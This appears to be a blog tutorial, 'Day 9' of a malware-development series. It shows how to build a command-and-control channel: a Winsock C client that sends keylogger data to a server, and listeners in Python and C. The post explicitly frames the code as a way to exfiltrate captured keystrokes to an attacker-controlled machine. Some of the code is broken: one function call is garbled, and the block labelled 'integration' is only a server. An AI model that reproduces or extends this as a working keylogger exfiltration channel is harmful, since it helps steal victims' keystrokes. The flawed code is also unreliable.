We are ready to dive into one of the critical aspects of malware functionality, communication with an attacker, often referred to as Command and Control (C2). C2 communication allows an attacker to remotely control compromised systems, issue commands, and receive stolen data. We will focus on building a simple communication channel between malware and a server.
Day 9 – Basic Attacker Communication (C2)
Objective
Our main objective today is to implement a simple C2 communication channel in C. We'll learn how to create sockets to establish connections and send captured data from the malware to a remote server. By the end of this post, you will have a client program (in C) that can communicate with a remote server, which we can build using Python.
Understanding Command and Control (C2) Communication
Command and Control (C2) communication allows an attacker to send commands and retrieve data from compromised systems. To achieve this, a C2 server is set up by the attacker, while the malware acts as a client that connects back to this server, sends collected information, or waits for instructions.
The communication channel between the client and server is often established using sockets, which provide a way to connect two machines over a network. For our purposes, we’ll build a simple TCP client in C to connect to a server and send keylogger data.
Please beware of the "free" C2 out there that could potentially have a reverse communication to an unknown source, make sure you always have a set of vetted tools when creating any engagement.
Creating Sockets in C
Sockets are a low-level way to send and receive data between systems over a network. We'll create a socket in C that connects to a C2 server. This connection allows our malware to send collected data, such as keystrokes, to an attacker-controlled machine.
The process of creating a socket involves:
Creating the Socket: Using the socket() function to create a network socket.
Connecting to the Server: Using the connect() function to establish a connection to the server's IP and port.
Sending Data: Using the send() function to send data to the server.
Including the Necessary Headers: In Windows, the Winsock library is used to work with sockets. You need to include the appropriate headers and link the necessary library when compiling.
Example Code to Include Winsock:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib") // Link with the Winsock library
The #pragma comment(lib, "ws2_32.lib") directive tells the compiler to link against the Winsock library, which is essential for socket functions like socket(), connect(), and send().
Let's look at a simple C socket client example
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib") // Link with the Winsock library
int main() {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
char *message;
// Initialize Winsock
if (WSAS(MAKEWORD(2, 2), &wsaData) != 0) {
printf("Failed to initialize Winsock. Error Code: %d\n", WSAGetLastError());
return 1;
}
// Create socket
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
printf("Could not create socket. Error Code: %d\n", WSAGetLastError());
WSACleanup();
return 1;
}
printf("Socket created.\n");
// Prepare the sockaddr_in structure
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_family = AF_INET;
server.sin_port = htons(8080);
// Connect to remote server
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
printf("Connection failed. Error Code: %d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
printf("Connected to server.\n");
// Send some data
message = "Hello from keylogger!";
if (send(sock, message, strlen(message), 0) < 0) {
printf("Send failed. Error Code: %d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
printf("Data sent: %s\n", message);
// Clean up and close the socket
closesocket(sock);
WSACleanup();
return 0;
}
Explanation:
WSAStartup(): This function initializes the Winsock library. It must be called before any other socket-related functions.
socket(): Creates a socket that will be used to communicate.
connect(): Establishes a connection to the server. In this example, the server is on 127.0.0.1 and port 8080.
send(): Sends data to the server. Here, we send a simple message, but you could replace this with data captured from the keylogger.
closesocket() and WSACleanup(): Properly close the socket and clean up Winsock.
Compilation Note: To compile this code on Windows, you need to link against the Winsock library (ws2_32.lib). Make sure to add the necessary flag when compiling:
gcc -o c2 c2.c -lws2_32 -luser32
Setting Up a C2 Server
Using Python To test the client, we need a server. Python makes it easy to set up a simple server to receive connections from the client.
Here’s an example of a simple C2 server in Python that listens for incoming connections and prints out the received data
import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 8080))
server_socket.listen(1)
print("Server listening on port 8080...")
conn, addr = server_socket.accept()
print(f"Connection from {addr} established.")
while True:
data = conn.recv(1024)
if not data:
break
print(f"Received: {data.decode()}")
conn.close()
server_socket.close()
Explanation
- Creating the Server Socket: The Python server uses
socket()
to create a listening socket on port 8080. - Listening for Connections: listen() and accept() are used to accept incoming client connections.
- Receiving Data: The recv() function is used to receive data from the connected client and print it to the console.
Integrating the Keylogger with the C2 Client
The next step is to send the captured keystrokes from the keylogger we developed on Day 6 to the C2 server.
To achieve this, you can modify the keylogger code to include socket communication:
- Each time a key is captured, store it in a buffer.
- When enough data is collected (or at set intervals), send the data to the C2 server using the socket client code.
Example Integration
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib") // Link with the ws2_32.lib library
int main() {
// Initialize Winsock
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("WSAStartup failed\n");
return 1;
}
// Create a socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (serverSocket == INVALID_SOCKET) {
printf("Socket creation failed\n");
WSACleanup();
return 1;
}
// Bind the socket to an IP address and port
struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = inet_addr("0.0.0.0");
serverAddr.sin_port = htons(8080);
if (bind(serverSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
printf("Bind failed\n");
closesocket(serverSocket);
WSACleanup();
return 1;
}
// Listen for incoming connections
if (listen(serverSocket, SOMAXCONN) == SOCKET_ERROR) {
printf("Listen failed\n");
closesocket(serverSocket);
WSACleanup();
return 1;
}
printf("Server listening on port 8080...\n");
// Accept a client connection
struct sockaddr_in clientAddr;
int clientAddrSize = sizeof(clientAddr);
SOCKET clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &clientAddrSize);
if (clientSocket == INVALID_SOCKET) {
printf("Accept failed\n");
closesocket(serverSocket);
WSACleanup();
return 1;
}
printf("Connection established.\n");
// Receive data from the client
char buffer[1024];
int bytesReceived;
do {
bytesReceived = recv(clientSocket, buffer, sizeof(buffer), 0);
if (bytesReceived > 0) {
buffer[bytesReceived] = '\0'; // Null-terminate the received data
printf("Received: %s\n", buffer);
}
else if (bytesReceived == 0) {
printf("Connection closed by client.\n");
}
else {
printf("Recv failed\n");
}
} while (bytesReceived > 0);
// Clean up
closesocket(clientSocket);
closesocket(serverSocket);
WSACleanup();
return 0;
}
Conclusion
We've have learned how to implement a basic C2 communication channel in C. This functionality is essential for remote command execution and data exfiltration in malware development. You also got hands-on experience in setting up both the client (in C) and server (in Python), enabling you to build a simple but functional C2 system.
Happy Hacking! ❤
No comments:
Post a Comment